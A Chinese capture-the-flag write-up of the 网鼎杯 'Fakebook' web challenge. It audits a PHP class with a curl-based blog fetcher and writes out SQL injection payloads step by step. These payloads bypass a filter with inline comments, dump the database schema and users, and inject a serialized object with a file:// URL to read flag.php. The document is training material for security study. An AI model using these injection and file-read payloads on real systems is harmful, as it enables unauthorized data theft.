[网鼎杯]-Fakebook

网鼎杯Fakebook

以我的实力做出网鼎杯这道题实在不现实,不过凡事都有第一次。当时做第一道CTF题也是云里雾里,多锻炼就好了。

0x01

[网鼎杯]-Fakebook
如图,题目是个blog板块,仔细观察以后暂时没有发现什么线索
有大佬是用nikto扫描后台找到了爬虫协议,但是自己拿御剑就扫不出来。
查看robots.txt,发现有文件是禁止访问的,是个网页源码的备份
[网鼎杯]-Fakebook
访问以后就把文件下载下来了,查看源码

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

审计一下,有__construct就应该和序列化有关,中间的get参数没看懂,之后的参数则是会返回发布blog的内容,以及判断blog的地址是否合法
那么回到原来的主页,点击join,发现可以添加用户名,密码,年龄,博客地址
[网鼎杯]-Fakebook
join以后页面上就有了信息,点击以后进入展示页面
[网鼎杯]-Fakebook
此时的网页url很可疑,猜测存在sql注入

http://fb06aa1d-c058-435e-9f0a-194982cec101.node3.buuoj.cn/view.php?no=1

把url放sqlmap里跑一下,能扫出来是mysql,但是跑不出名字,应该有WAF过滤
[网鼎杯]-Fakebook

0x02

尝试手动:

view.php?no=0 order by 4--+
//当order by 5时报错
view.php?no=0 union select 1,2,3,4--+
//提示no hack

猜测过滤了union select,用如下语句绕过:

view.php?no=0 union/**/select 1,2,3,4--+

内联注释/**/的语句是MYSQL才能识别,可以绕过WAF。这里多说一句,之前sqlmap我也是加载了这种绕过方式的tamper,但是最后却没有结果。需要用burpsuite抓包保存,再用sqlmap来POST注入。
[网鼎杯]-Fakebook
看到页面出现了2,之后就拿2来回显

view.php?no=0 union/**/select 1,database(),3,4--+

[网鼎杯]-Fakebook
数据库名fakebook

view.php?no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'--+

[网鼎杯]-Fakebook
表名users

view.php?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--+

[网鼎杯]-Fakebook
列名no,username,passwd,data

view.php?no=0 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users--+

获得列内容:

1add319e4b15120f742fd3214f3ba53e0134c0efbff31125f539f7d0b8373d683036eb94ec1c9a75c82a8fe7ec8108803618663c35d00b303a26c7b81d334d364baO:8:"UserInfo":3:{s:4:"name";s:2:"ad";s:3:"age";i:22;s:4:"blog";s:37:"https://www.cnblogs.com/echoDetected/";} 

得到了自己刚刚注册信息的序列化值,结合之前网页源码,判断是要传参(getBlogContents)以后网站反序列化,返回flag的值
这里顺便注意一下网站的决定路径,之前报错的时候也一直出现的
[网鼎杯]-Fakebook

0x03

线索到这里就断了,我去看别人的WP,他们也不知道怎么凭空就猜出flag位置文件的,还有说是扫后台扫出来的
现在只能猜测flag在flag.php这个文件里,基于之前出现的决对路径,很大概率是在var/www/html/flag.php里面

于是构造序列化的内容,里面要读取文件得使用file协议,基本的格式如下:
file:///文件路径

view.php?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

再查看网页源码就有base64加密的内容了,flag就在里面
[网鼎杯]-Fakebook
[网鼎杯]-Fakebook

Reference

上一篇:Codeforces Round #750 (Div. 2)


下一篇:wp-fakebook(攻防世界/buuctf)【多解法详解】